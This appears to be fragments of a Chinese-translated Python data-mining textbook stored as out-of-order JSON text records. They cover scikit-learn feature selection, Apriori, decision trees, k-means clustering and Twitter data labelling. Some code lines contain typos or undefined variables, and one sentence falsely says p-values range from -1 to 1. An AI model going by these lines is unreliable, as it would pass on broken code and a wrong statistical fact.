如果您对本书内容有疑问，可发邮件至contact@turingbook.com，会有编辑或作译者协助答疑。也可访问图灵社区，参与本书讨论。 如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@turingbook.com。 在这里可以找到我们： 微博 @图灵教育 : 好书、活动每日播报 微博 @图灵社区 : 电子书和好文章的消息 微博 @图灵新知 : 图灵教育的科普小组 微信 图灵访谈 : ituring_interview，讲述码农精彩人生 微信 图灵教育 : turingbooks 图灵社区会员 憨豆战神（vikecom@163.com） 专享 尊重版权"},
    {"text": "Unknown 前言 你是不是向往数据挖掘的殿堂，却不得其门而入？如果是的话，这本书就是为你而写的。 很多讲授数据挖掘的书涵盖了大量数学知识，倘若读者有较好的数学背景，这自然不错，但我觉得这些书往往只见树木不见森林；也就是说，它们过于关注算法的工作原理，而忘记了我们使用这些算法的初衷。 本书的目标读者是具备一定编程能力、渴望学习数据挖掘的人。我的目标是，如果你认真学完本书，能较好地理解数据挖掘的基础知识，掌握用数据挖掘知识解决问题的最佳实践，此外还能从书中找到几个值得你深入研究的方向。 本书的每一章都会介绍一个新的主题，我会给出该主题的相关算法和数据集。因此，各章主题之间跳跃有点大，阅读本书的过程中需要你的大脑能快速切换。每学完一章，你都要思考一下有没有什么办法能够提升该章中算法的效果，然后尝试去实现它！ 我最喜欢的格言中有一条出自莎士比亚的《亨利四世》 1 ： 1 《亨利四世》是莎士比亚所著的历史剧，分为上下两篇。接下来这句台词出自上篇第三幕第一场，原文为“But will they come when you do call for them?”。遵照朱生豪先生的译法，将“Hotspur”译为“霍茨波”。——译者注 但是你叫他们的时候，他们真的会来吗？ 在剧中，有人声称自己会招魂，于是霍茨波（Hotspur）回复了上面这句话。霍茨波的意思是每个人都会招魂，但问题是招过之后，魂来不来。 跟招魂类似，学习数据挖掘无外乎做实验，获得结果。实现一个新的数据挖掘算法或是改善现有实验结果的想法，每个人都能提出来，但真正重要的是你能不能实现它，还有结果是否尽如人意。 本书主要内容 第1章 开始数据挖掘之旅 ，介绍我们即将用到的技术，接着通过讲解两个基础算法的实现方法达到热身目的。 第2章 用 scikit-learn 估计器分类 ，涵盖了数据挖掘的一个重要主题——分类。这一章还会介绍将数据挖掘流程标准化的流水线结构，便于你管理实验流程。 第3章 用决策树预测获胜球队 ，介绍 决策树 和 随机森林 两个新算法。我们将通过抽取区分度高的特征来预测获胜选手。 第4章 用亲和性分析方法推荐电影 ，思考根据以往消费记录推荐产品的问题，介绍Apriori算法。 第5章 用转换器抽取特征 ，介绍不同类别特征的抽取方法及不同数据集的处理方法。 第6章 使用朴素贝叶斯进行社会媒体挖掘 ，使用朴素贝叶斯算法自动分析来自社交网站Twitter的文本信息。 第7章 用图挖掘找到感兴趣的人 ，采用聚类和网络分析方法，发现社会媒体上感兴趣的人。 第8章 用神经网络破解验证码 ，从图像中抽取信息，然后训练神经网络，用来发现图像中的单词和字母。 第9章 作者归属问题 ，通过抽取文本特征，使用支持向量机算法，找出文档的作者。 第10章 新闻语料分类 ，使用k-means聚类算法，根据新闻文章内容进行分类。 第11章 用深度学习方法为图像中的物体进行分类 ，采用深度神经网络算法确定图像中的物体。 第12章 大数据处理 ，探讨对大数据进行数据挖掘的流程及方法。 附录 依次介绍各章的参考资料，便于读者深入了解各章内容。 Unknown 第 7 章 用图挖掘找到感兴趣的人 很多事物都可用图来表示，大数据、社交网络和物联网时代尤其如此。特别值得一提的是，社交网络具有很大的商业价值，像Facebook这样每天有5亿活跃用户（50%的用户每天都会登录）的网站，通过定向投放广告获利颇丰。怎样才能打造一个这样的网站呢？对于网站而言，要想留住用户，你得有用户感兴趣的人或内容。 本章将探讨相似度这个概念以及如何根据它来创建图模型，并且探讨如何使用连通分支（connected components）把大图分为有意义的小图。本章即将介绍的算法引入聚类分析概念——根据相似度，把大数据集划分为几个子集。第10章将对聚类分析做更加深入的讲解。 本章主要内容如下： 用社交网络数据创建图 加载和保存创建的分类器 NetworkX 库 图到矩阵的转换 距离和相似度 根据打分函数优化参数 损失函数和打分函数"},
    {"text": "有些分类算法确实很强壮，能够处理噪音问题，特征再多也不在话下，但是选用干净的数据，选取更具描述性的特征，对算法效果提升很有帮助。"},
    {"text": "array([[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14], [15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]) 接着，把所有第二列的数值都改为1。"},
    {"text": "array([[ 0, 1, 2], [ 3, 1, 5], [ 6, 1, 8], [ 9, 1, 11], [12, 1, 14], [15, 1, 17], [18, 1, 20], [21, 1, 23], [24, 1, 26], [27, 1, 29]]) 这时再来创建 VarianceThreshold 转换器，用它处理数据集。 from sklearn.feature_selection import VarianceThreshold vt = VarianceThreshold() Xt = vt.fit_transform(X) 输出 Xt 后，我们发现第二列消失了。 array([[ 0, 2], [ 3, 5], [ 6, 8], [ 9, 11], [12, 14], [15, 17], [18, 20], [21, 23], [24, 26], [27, 29]]) 输出每一列的方差。 print(vt.variances_) 下面输出结果表明第一、三列包含有价值信息，第二列方差为0，不包含具有区别意义的信息。 array([ 74.25, 0. , 74.25]) 无论什么时候，拿到数据后，先做下类似简单、直接的分析，对数据集的特点做到心中有数。"},
    {"text": "X = adult[[\"Age\", \"Education-Num\", \"Capital-gain\", \"Capital-loss\", \"Hours-per-week\"]].values 接着，判断 Earnings-Raw （税前收入）是否达到五万美元，创建目标类别列表。"},
    {"text": "from sklearn.feature_selection import SelectKBest from sklearn.feature_selection import chi2 transformer = SelectKBest(score_func=chi2, k=3) 调用 fit_transform 方法，对相同的数据集进行预处理和转换。"},
    {"text": "还是看下代码： print(transformer.scores_) 输出结果如下： [ 8.60061182e+03 2.40142178e+03 8.21924671e+07 1.37214589e+06 6.47640900e+03] 相关性最好的分别是第一、三、四列，分别对应着 Age （年龄）、 Capital-Gain （资本收益）和 Capital-Loss （资本损失）三个特征。"},
    {"text": "首先，从SciPy导入 pearsonr 函数。 from scipy.stats import pearsonr pearsonr 函数的接口几乎与 scikit-learn 单变量转换器接口一致，该函数接收两个数组（当前例子中为 x 和 y ）作为参数，返回两个数组：每个特征的皮尔逊相关系数和 p 值（p-value）。"},
    {"text": "scores, pvalues = [], [] for column in range(X.shape[1]): 只计算该列的皮尔逊相关系数和 p 值，并将其存储到相应数组中。 cur_score, cur_p = pearsonr(X[:,column], y) scores.append(abs(cur_score)) pvalues.append(cur_p) p 值为-1到1之间的任意值。"},
    {"text": "transformer = SelectKBest(score_func=multivariate_pearsonr, k=3) Xt_pearson = transformer.fit_transform(X, y) print(transformer.scores_) 返回的特征跟用卡方检验计算相关性得到的特征不一样！"},
    {"text": "请注意实验结果也只表明对于特定分类器和（或）特征子集效果更好——在数据挖掘领域，一种方法在任何情况下都比另一种方法好的情况几乎没有！"},
    {"text": "实验代码如下： from sklearn.tree import DecisionTreeClassifier from sklearn.cross_validation import cross_val_score clf = DecisionTreeClassifier(random_state=14) scores_chi2 = cross_val_score(clf, Xt_chi2, y, scoring='accuracy') scores_pearson = cross_val_score(clf, Xt_pearson, y, scoing='accuracy') chi2 方法的平均正确率为0.83，而皮尔逊相关系数正确率为0.77。"},
    {"text": "Unknown 第 2 章——用 scikit-learn 估计器分类 k近邻算法的扩展 https://github.com/jnothman/scikit-learn/tree/pr2532 k-近邻算法的简单实现速度很慢——它查看任意两个数据点是否足够近。当然还有更好的方法， scikit-learn 实现了几种.。例如，我们可以用kd-tree提升算法速度。 另外一种提升搜索速度的方法叫作 局部敏感散列 （Locality-Sensitive Hashing，LSH ）。这是对 scikit-learn 提出的一项改进，写作本书时，还没有加到 scikit 库中。上述链接为 scikit-learn 库的一个开发分支，你可以在数据集上测试LSH。具体方法还请参考该分支的相关文档。 复制代码仓库，按照下述网址给出的方法，安装最新版本： http://scikit-learn.org/stable/install.html 。 记住要使用这个Git仓库的代码，而不要使用官方的代码。我建议你使用 virtualenv 或虚拟机安装，不要直接将其装到你的计算机上。这里有一份很棒的 virtualenv 教程： http://docs.python-guide.org/en/latest/dev/virtualenvs/ 。 更多复杂的流水线 http://scikit-learn.org/stable/modules/pipeline.html#featureunion-composite-feature-spaces 书中所用到的流水线都是线性的——上一步的输出作为下一步的输入。 流水线也遵循转换器和估计器的接口——流水线可以嵌套，方便构造更复杂的模型，再结合使用上述链接提到的FeatureUnion 1 方法，流水线将变得更加强大。 1 FeatureUnion：将多个转换器对象结合在一起，组成一个新的转换器，汇总每个转换器的输出结果。——译者注 这样一次可以抽取多种类型的特征，组成新的数据集。更多细节及示例请见： http://scikit-learn.org/stable/auto_examples/feature_stacker.html 。 比较分类器 scikit-learn 提供了很多分类器。在选择分类器时，我们需要考虑一系列因素。你可以通过比较它们的F1值确定哪种效果更好。通过计算各F1值的标准差，就能确定几个分类器的分类效果之间的差异是否显著。 另外需要注意的是，几个分类器应该使用相同的训练集和测试集——也就是说，第一个分类器的测试数据，应该跟其他所有分类器的测试数据相同。使用相同的随机状态可以保证这一 点——对于重现实验结果很重要。 Unknown 第 11 章——用深度学习方法为图像中的物体进行分类 Keras和Pylearn2 如果你想进一步了解如何用Python做深度学习，Keras和Pylearn2这两个库有必要了解一下。它们都是以 Theano 为基础，但各有各的使用方法和特点。 Keras请见 https://github.com/fchollet/keras/ 。 Pylearn2请见 http://deeplearning.net/software/pylearn2/ 。 写作本书时，这两个库还不成熟，比较起来Pylearn2更稳定。它们都能很好完成你交给它们的任务，在做其他深度学习项目时，可以尝试用下。 另外一个很火的库叫Torch，但是写作本书时，还没有Python接口可用（请见 http://torch.ch/ ）。 Mahotas Mahotas图像处理包提供更好和更复杂的图像处理方法，使用它们能提升正确率，虽然计算量可能大幅上升。然而，很多图像处理任务适合并行处理，所以计算量加大也不再是问题。图像分类相关研究资料很多，下面这两份文档给出不少资料，可以先从这里找起： http://luispedro.org/software/mahotas/. http://ijarcce.com/upload/january/22-A%20Survey%20on%20Image%20Classification.pdf 其他图像数据集有： http://rodrigob.github.io/are_we_there_yet/build/classification_datasets_results.html 一些学术机构和行业组织也开放了很多图像数据集。上述网站介绍了很多数据集及使用它们的最好算法。要实现这样的一些好算法需要大量代码，但是回报远大于付出。 Unknown 第 1 章 开始数据挖掘之旅 我们今天的数据采集规模在人类历史上是空前的，日常生活也越来越依赖我们所采集的这些信息。我们希望计算机能把网页翻译成其他语言，预报天气，推荐我们喜欢的书，诊断我们的健康问题。类似的需求还会继续增长，我们会需要更多的应用和更高的精确性。数据挖掘技术可以用来训练计算机，使其根据已有数据做出决策。如今，数据挖掘技术已成为支撑很多高科技系统的骨干。 Python的迅速普及并非偶然。它的灵活度高；模块众多，可以执行很多任务；比起其他任何编程语言，Python代码通常更为简洁，可读性更强。Python在数据挖掘领域已经形成了一个由研究员、从业者和新手组成的氛围活跃的大社区。 本章将介绍如何使用Python进行数据挖掘，主要会涉及以下几个主题。 数据挖掘简介及其应用场景 搭建Python数据挖掘环境 亲和性分析示例：根据购买习惯推荐商品 （经典）分类问题示例：根据测量结果推测植物的种类"},
    {"text": "Unknown 勘误表 即使我们竭尽所能来保证图书内容的正确性，错误也在所难免。如果你在我们出版的任何一本书中发现错误——可能是在文本或代码中——倘若你能告诉我们，我们将会非常感激。你的善举足以减少其他读者在阅读出错位置时的纠结和不快，帮助我们在后续版本中更正错误。如果你发现任何错误，请访问 http://www.packtpub.com/submit-errata ，选择相应书籍，点击“Errata Submission Form”链接，输入错误之处的具体信息。你提交的错误得到验证之后，我们就会接受你的建议，该处错误信息将会上传到我们的网站或是添加到已有勘误表的相应位置。 访问 https://www.packtpub.com/books/content/support ，在搜索框中输入书名，可查看该图书已有的勘误信息。这部分信息会在Errata部分显示。"},
    {"text": "作为对上述规则的扩展，我们还将讨论喜欢某几部电影的用户，是否喜欢另一部电影。 要解决以上问题，首先要确定用户是不是喜欢某一部电影。"},
    {"text": "all_ratings[10:15] UserID MovieID Rating Datetime Favorable 10 62 257 2 1997-11-12 22:07:14 False 11 286 1014 5 1997-11-17 15:38:45 True 12 200 222 5 1997-10-05 09:05:40 True 13 210 40 3 1998-03-27 21:59:54 False 14 224 29 3 1998-02-21 23:40:57 False 从数据集中选取一部分数据用作训练集，这能有效减少搜索空间，提升Apriori算法的速度。"},
    {"text": "ratings = all_ratings[all_ratings['UserID'].isin(range(200))] 接下来，新建一个数据集，只包括用户喜欢某部电影的数据行。 favorable_ratings = ratings[ratings[\"Favorable\"]] 在生成项集时，需要搜索用户喜欢的电影。"},
    {"text": "favorable_reviews_by_users = dict((k, frozenset(v.values)) for k, v in favorable_ratings groupby(\"UserID\")[\"MovieID\"]) 上面的代码把 v.values 存储为 frozenset ，便于快速判断用户是否为某部电影打过分。"},
    {"text": "num_favorable_by_movie.sort(\"Favorable\", ascending=False)[:5] 输出结果如下： MovieID Favorable 50 100 100 89 258 83 181 79 174 74 4.3.1 Apriori算法 Apriori算法是亲和性分析的一部分，专门用于查找数据集中的频繁项集。"},
    {"text": "代码如下： frequent_itemsets[1] = dict((frozenset((movie_id,)), row[\"Favorable\"]) for movie_id, row in num_favorable_ by_movie.iterrows() if row[\"Favorable\"] > min_support) 接着，用一个函数来实现步骤(2)和(3)，它接收新发现的频繁项集，创建超集，检测频繁程度。"},
    {"text": "from collections import defaultdict def find_frequent_itemsets(favorable_reviews_by_users, k_1_itemsets, min_support): counts = defaultdict(int) 经验告诉我们，要尽量减少遍历数据的次数，所以每次调用函数时，再遍历数据。"},
    {"text": "代码如下： for itemset in k_1_itemsets: if itemset.issubset(reviews): 接下来，遍历用户打过分却没有出现在项集里的电影，用它生成超集，更新该项集的计数。 代码如下： for other_reviewed_movie in reviews - itemset: current_superset = itemset | frozenset((other_ reviewed_movie,)) counts[current_superset] += 1 函数最后检测达到支持度要求的项集，看它的频繁程度够不够，并返回其中的频繁项集。"},
    {"text": "return dict([(itemset, frequency) for itemset, frequency in counts.items() if frequency >= min_support]) 创建循环，运行Apriori算法，存储算法运行过程中发现的新项集。"},
    {"text": "代码如下： for k in range(2, 20): cur_frequent_itemsets = find_frequent_itemsets(favorable_reviews_by_users, frequent_itemsets[k-1], min_support) frequent_itemsets[k] = cur_frequent_itemsets 如果在上述循环中没能找到任何新的频繁项集，就跳出循环（输出信息，告知我们没能找到长度为 k 的频繁项集）。 if len(cur_frequent_itemsets) == 0: print(\"Did not find any frequent itemsets of length {}\". format(k)) sys.stdout.flush() break 用 sys.stdout.flush() 方法，确保代码还在运行时，把缓冲区内容输出到终端。"},
    {"text": "代码如下： else: print(\"I found {} frequent itemsets of length {}\".format(len(cur_frequent_itemsets), k)) sys.stdout.flush() 最后，循环结束，我们对只有一个元素的项集不再感兴趣——它们对生成关联规则没有用 处——生成关联规则至少需要两个项目。"},
    {"text": "standings_filename = os.path.join(data_folder, \"leagues_NBA_2013_standings_expanded-standings.csv\") standings = pd.read_csv(standings_filename, skiprows=[0,1]) 在笔记本新格子里输入 standings 并运行，查看战绩。"},
    {"text": "代码如下： dataset[\"HomeTeamRanksHigher\"] = 0 for index, row in dataset.iterrows(): home_team = row[\"Home Team\"] visitor_team = row[\"Visitor Team\"] 有些球队2014赛季改名了，名字不同但其实还是同一支球队。"},
    {"text": "if home_team == \"New Orleans Pelicans\": home_team = \"New Orleans Hornets\" elif visitor_team == \"New Orleans Pelicans\": visitor_team = \"New Orleans Hornets\" 现在就能得到两支球队的排名，比较它们的排名，更新特征值。 home_rank = standings[standings[\"Team\"] == home_team][\"Rk\"].values[0] visitor_rank = standings[standings[\"Team\"] == visitor_team][\"Rk\"].values[0] row[\"HomeTeamRanksHigher\"] = int(home_rank > visitor_rank) dataset.ix[index] = row 接下来，用 cross_val_score 函数测试结果。"},
    {"text": "X_homehigher = dataset[[\"HomeLastWin\", \"VisitorLastWin\", \"HomeTeamRanksHigher\"]].values 然后，创建 DecisionTreeClassifier 分类器，进行交叉检验，求得正确率。"},
    {"text": "clf = DecisionTreeClassifier(random_state=14) scores = cross_val_score(clf, X_homehigher, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 现在的正确率是60.3%——比我们之前的结果要好。"},
    {"text": "for index, row in dataset.iterrows(): home_team = row[\"Home Team\"] visitor_team = row[\"Visitor Team\"] 不用考虑哪支球队是 主场 作战，我们想看一下这两支球队在上一场比赛中到底谁是赢家。"},
    {"text": "row[\"HomeTeamWonLast\"] = 1 if last_match_winner[teams] == row[\"Home Team\"] else 0 dataset.ix[index] = row 最后，更新 last_match_winner 字典，值为两支球队在当前场次比赛中的胜出者，两支球队再相逢时可将其作为参考。 winner = row[\"Home Team\"] if row[\"HomeWin\"] else row [\"Visitor Team\"] last_match_winner[teams] = winner 下面，用新抽取的两个特征创建数据集。"},
    {"text": "代码如下： X_lastwinner = dataset[[\"HomeTeamRanksHigher\", \"HomeTeam WonLast\"]].values clf = DecisionTreeClassifier(random_state=14) scores = cross_val_score(clf, X_lastwinner, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 正确率为60.6%。"},
    {"text": "用 LabelEncoder 转换器就能把字符串类型的球队名转化为整型。 代码如下： from sklearn.preprocessing import LabelEncoder encoding = LabelEncoder() 将主场球队名称转化为整型： encoding.fit(dataset[\"Home Team\"].values) 接下来，抽取所有比赛的主客场球队的球队名（已转化为数值型）并将其组合（在NumPy中叫作“stacking”，是向量组合的意思）起来，形成一个矩阵。"},
    {"text": "代码如下： home_teams = encoding.transform(dataset[\"Home Team\"].values) visitor_teams = encoding.transform(dataset[\"Visitor Team\"].values) X_teams = np.vstack([home_teams, visitor_teams]).T 决策树可以用这些特征值进行训练，但 DecisionTreeClassifier 仍把它们当作连续型特征。"},
    {"text": "clf = DecisionTreeClassifier(random_state=14) scores = cross_val_score(clf, X_teams_expanded, y_true, scoring='accuracy') print(\"Accuracy: {0:.1f}%\".format(np.mean(scores) * 100)) 正确率为60%，比基准值要高，但是没有之前的效果好。"},
    {"text": "——译者注 分簇这一步中，我们为数据集的每个个体设置一个标签，把它和最近的质心点联系起来。 对于距离质心点1最近的个体，我们为它们分配标签1，距离质心点2最近的个体，分配标签2，以此类推。 标签相同的个体属于同一个簇，所有带有标签1的数据点属于簇1（只是暂时的，数据点所属的簇会随着算法的运行发生变化）。"},
    {"text": "通常是在迭代一定次数后，或者当质心点的整体移动量很小时，就可以终止算法的运行。 有时可以等算法自行终止运行，这表明簇已经相当稳定——数据点所属的簇不再变动，质心点也不再改变时。"},
    {"text": "这个向量化工具根据词语出现在多少篇文档中，对词语计数进行加权。 出现在较多文档中的词语权重较低（用文档集数量除以词语出现在的文档的数量，然后取对数）。"},
    {"text": "代码如下： from sklearn.feature_extraction.text import TfidfVectorizer 创建数据分析流水线，流水线分两步，第一步是特征抽取，第二步是调用k-means算法。"},
    {"text": "代码如下： from sklearn.pipeline import Pipeline n_clusters = 10 pipeline = Pipeline([('feature_extraction', TfidfVectorizer(max_ df=0.4)), ('clusterer', KMeans(n_clusters=n_clusters)) ]) 我们为参数 max_df 设置了一个很低的值0.4，表示 忽略出现在40%及以上的文档中的词语 。"},
    {"text": "from collections import Counter c = Counter(labels) for cluster_number in range(n_clusters): print(\"Cluster {} contains {} samples\".format(cluster_number, c[cluster_number])) 聚类问题的结果（注意你的数据集可能跟我的不同）往往是一个簇很大，包含了大多数个体，再有几个中等规模的簇，最后还有几个只包含一两个个体的很小的簇，这种不平衡性很常见。"},
    {"text": "inertia_scores = [] n_cluster_values = list(range(2, 20)) for n_clusters in n_cluster_values: cur_inertia_scores = [] X = TfidfVectorizer(max_df=0.4).fit_transform(documents) for i in range(10): km = KMeans(n_clusters=n_clusters).fit(X) cur_inertia_scores.append(km.inertia_) inertia_scores.append(cur_inertia_scores) 变量 inertia_scores 存储了 n_clusters 取2到20每个值时所对应的惯性权重。"},
    {"text": "n_clusters = 6 pipeline = Pipeline([('feature_extraction', TfidfVectorizer(max_df=0.4)), ('clusterer', KMeans(n_clusters=n_clusters)) ]) pipeline.fit(documents) labels = pipeline.predict(documents) 10.3.3 从簇中抽取主题信息 现在我们把关注点放到各簇上，尝试从中找到每个簇的主题。"},
    {"text": "terms = pipeline.named_steps['feature_extraction'].get_feature_names() 计算每簇所包含的个体数量。 c = Counter(labels) 遍历所有的簇，输出每簇所包含的个体数量。"},
    {"text": "代码如下： for cluster_number in range(n_clusters): print(\"Cluster {} contains {} samples\".format(cluster_number, c[cluster_number])) 接下来（在循环体内部），遍历该簇最重要的词语。"},
    {"text": "代码如下： print(\" Most important terms\") centroid = pipeline.named_steps['clusterer'].cluster_centers_ [cluster_number] most_important = centroid.argsort() 依次输出这5个特征。"},
    {"text": "term_index = most_important[-(i+1)] 然后输出序号、词语和得分。 print(\" {0}) {1} (score: {2:.4f})\".format(i+1, terms[term_ index], centroid[term_index])) 结果能较好地反映当时人们关注的焦点。"},
    {"text": "特征简化的方法有很多种，比如主要成分分析（Principle Component Analysis）、潜在语义索引（Latent Semantic Indexing）等，这些方法还能用来创建新特征，但是它们通常对计算能力要求很高。"},
    {"text": "在k-means实例上调用转换函数。 因为流水线最后一步是 k-means 实例，因此可以在它上面调用转换函数。 X = pipeline.transform(documents) 上面代码在流水线最后一步的 k-means 实例上调用转换方法。"},
    {"text": "Unknown 本书的目标读者 本书是写给那些想把数据挖掘技术应用到实际项目中，却不知道怎么开始的程序员。 如果你没有编程经历，我强烈建议你在学习本书之前，至少先了解一下编程的基础知识。本书直接略过这部分内容，也不会把过多精力放在代码的具体实现上。也就是说，简要学习一下编程基础知识再来学习本书就行。本书不对你的编程技能做过高要求，所以你没必要先成为编程高手！ 我强烈建议在阅读本书前最好先积累一些Python编程经验。如果没有的话，也没关系，但是你可能需要先瞧瞧Python代码是怎么回事，可能的话先看看IPython Notebook的教程。用IPython Notebook写程序，跟用其他编辑器写程序（比如使用功能全面的IDE编写Java程序）有一定区别。"},
    {"text": "10.5.1 线上学习简介 线上学习是指用新数据增量地改进模型。 支持线上学习的算法可以先用一条或少量数据进行训练，随着更多新数据的添加，更新模型。"},
    {"text": "from sklearn.cluster import MiniBatchKMeans mbkm = MiniBatchKMeans(random_state=14, n_clusters=3) 接着，随机从X矩阵中选择数据，模拟来自外部的新数据。"},
    {"text": "batch_size = 10 for iteration in range(int(X.shape[0] / batch_size)): start = batch_size * iteration end = batch_size * (iteration + 1) mbkm.partial_fit(X[start:end]) 在实例上调用 predict() 方法，获得原始数据集的聚类结果。"},
    {"text": "class PartialFitPipeline(Pipeline): 创建 partial_fit 函数，接收输入矩阵、可选的类别（这里用不到）。 def partial_fit(self, X, y=None): 我们之前讲过，流水线由一系列转换步骤组成，前一步的输出为下一步的输入。"},
    {"text": "Xt = X for name, transform in self.steps[:-1]: 然后，转换已有的数据集，继续迭代，直到达到最后一步（我们这里为聚类算法）。 Xt = transform.transform(Xt) 接着，在最后一步调用 partial_fit 函数，返回结果。"},
    {"text": "除了新类 PartialFitPipeline 和 HashingVectorizer 外，使用线上学习进行聚类分析，其整个过程跟本章其他部分大同小异，只不过每次使用的数据量少多了。"},
    {"text": "pipeline = PartialFitPipeline([('feature_extraction', HashingVectorizer()), ('clusterer', MiniBatchKMeans(random_ state=14, n_clusters=3)) ]) batch_size = 10 for iteration in range(int(len(documents) / batch_size)): start = batch_size * iteration end = batch_size * (iteration + 1) pipeline.partial_fit(documents[start:end]) labels = pipeline.predict(documents) 当然这种方法也有不足之处。"},
    {"text": "Unknown 6.1 消歧 文本通常被称为 无结构 格式，虽然它包含很多信息，但是却没有标题、特定格式，句法松散，以及其他问题，导致难以从中提取有用信息。"},
    {"text": "描述数据类型、含义的信息叫作 元数据 ，文本中缺乏这类数据。 书中的目录和索引虽含有部分元数据，但是比起数据库对于数据精确的定义和描述，这点元数据实在微不足道。"},
    {"text": "当人们提及Python时，他们谈论的可能是： 编程语言Python 经典喜剧剧团Monty Python 2 蟒蛇 鞋子品牌Python 2 编程语言Python的名字正是来自于这个英国喜剧剧团的名字，Guido van Rossum很喜欢该剧团的演出，于是把他创立的编程语言命名为Python。"},
    {"text": "如果你习惯用 pip 安装第三方包，可以使用 pip3 install twitter 安装 twitter 库。 如果你用的是其他系统，安装方法请参考文档 https://github.com/sixohsix/twitter 。"},
    {"text": "import twitter consumer_key = \"<Your Consumer Key Here>\" consumer_secret = \"<Your Consumer Secret Here>\" access_token = \"<Your Access Token Here>\" access_token_secret = \"<Your Access Token Secret Here>\" authorization = twitter.OAuth(access_token, access_token_secret, consumer_key, consumer_secret) 我们将用 twitter 库提供的搜索函数（ search ）查找包含单词“Python”的消息。"},
    {"text": "import os output_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_tweets.json\") 保存数据时要用到 json 库。 import json 接着，创建用来从Twitter网站读取数据的对象，指定授权信息，需要用到前面创建的授权对象。 t = twitter.Twitter(auth=authorization) 打开输出文件，等待写入数据，写入模式指定为“a”，这样每次在文件末尾追加新数据。"},
    {"text": "with open(output_filename, 'a') as output_file: search_results = t.search.tweets(q=\"python\", count=100)['statuses'] for tweet in search_results: if 'text' in tweet: output_file.write(json.dumps(tweet)) output_file.write(\"\\n\\n\") 上述循环中，还检测了消息是否包括“text”键。"},
    {"text": "你也可以让它多运行几分钟，抓取更多的消息，需要注意的是，如果Twitter用户没有发布新消息的话，短时间内多次抓取，得到的消息很可能会有重复的。"},
    {"text": "消息存储格式 近似于 JSON。 JSON格式不会对数据强加过多用于表示结构的信息，可以直接用JavaScript（JSON名字也就是这么来的，JavaScript Object Notation，JavaScript对象表示法）语言读取。 JSON定义了诸如数字、字符串、数组、字典等基本对象，适合存储包含非数值类型的数据。"},
    {"text": "我们的数据集中，每两条用JSON字符串表示的消息之间有一行空行。 我们可以使用 json 库解析数据集，但是要先根据空行把读进来的文件拆分（ split 方法）成一个列表，得到真正的消息对象。"},
    {"text": "代码如下： import os input_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_tweets.json\") labels_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_classes.json\") 上面已经提到过，我们要使用 json 库，先来导入它。"},
    {"text": "如果不为0，使用 json.loads （将JSON字符串转换为Python对象）方法加载消息，将它添加到 tweets 列表中。 代码如下： with open(input_filename) as inf: for line in inf: if len(line.strip()) == 0: continue tweets.append(json.loads(line)) 我们现在想知道一条消息是否和我们相关（在这里， 相关 表示 指的是编程语言 Python）。"},
    {"text": "代码如下： labels = [] if os.path.exists(labels_filename): with open(labels_filename) as inf: labels = json.load(inf) 接下来，创建一个简单的函数，用来返回下一条需要标注的消息。"},
    {"text": "代码如下： function set_label(label){ var kernel = IPython.notebook.kernel; kernel.execute(\"labels.append(\" + label + \")\"); load_next_tweet(); } 函数最后调用 load_next_tweet 函数，加载下一条未标注的消息。"},
    {"text": "代码如下： function load_next_tweet(){ var code_input = \"get_next_tweet()\"; var kernel = IPython.notebook.kernel; var callbacks = { 'iopub' : {'output' : handle_output}}; kernel.execute(code_input, callbacks, {silent:false}); } 回调函数叫作 handle_output ，下面就来创建它。"},
    {"text": "如上所述，回调函数的详细内容不在本书讲解范围之列，我们这里用它来处理返回的纯文本格式数据，把这些数据置于表单的 #tweet_text div 中展示，我们随后会编写相关HTML代码。 回调函数代码如下： function handle_output(out){ var res = out.content.data[\"text/plain\"]; $(\"div#tweet_text\").html(res); } HTML代码中，最外层是id为 tweetbox 的 div ，它里面包着id为 tweet_text 的 div 元素用于显示下一条待标注的消息。"},
    {"text": "代码如下： <div name=\"tweetbox\"> Instructions: Click in textbox. Enter a 1 if the tweet is relevant, enter 0 otherwise.<br> Tweet: <div id=\"tweet_text\" value=\"text\"></div><br> <input type=text id=\"capture\"></input><br> </div> 先不要运行这个格子！ 创建完表单后，我们来编写捕获键盘按键的JavaScript代码，这段脚本须写到上面HTML代码的后面，因为 #tweet_text 元素在HTML代码运行前在页面上还不存在。"},
    {"text": "这里要用到jQuery库（IPython笔记本文件使用了该库，无需再次引入）的一个函数，当在 #capture 文本框元素上发生按键事件时，调用指定的函数。"},
    {"text": "代码如下： <script> $(\"input#capture\").keypress(function(e) { if(e.which == 48) { set_label(0); $(\"input#capture\").val(\"\"); }else if (e.which == 49){ set_label(1); $(\"input#capture\").val(\"\"); } }); 忽略其他按键。"},
    {"text": "代码如下： import os input_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_tweets.json\") labels_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"python_classes.json\") replicable_dataset = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"replicable_dataset.json\") 加载消息和类别，就跟我们在上一个笔记本文件中做的那样。 import json tweets = [] with open(input_filename) as inf: for line in inf: if len(line.strip()) == 0: continue tweets.append(json.loads(line)) if os.path.exists(labels_filename): with open(classes_filename) as inf: labels = json.load(inf) 同时遍历所有的消息及消息所属的类别，创建新数据集，将其保存到列表中。 dataset = [(tweet['id'], label) for tweet, label in zip(tweets, labels)] 最后，把结果保存到文件中。 with open(replicable_dataset, 'w') as outf: json.dump(dataset, outf) 有了消息的编号和类别，我们就可以重建数据集。"},
    {"text": "代码如下： import os tweet_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"replicable_python_tweets.json\") labels_filename = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"replicable_python_classes.json\") replicable_dataset = os.path.join(os.path.expanduser(\"~\"), \"Data\", \"twitter\", \"replicable_dataset.json\") 使用JSON从文件中加载消息编号及类别数据。 import json with open(replicable_dataset) as inf: tweet_ids = json.load(inf) 保存所有消息的类别很容易。"},
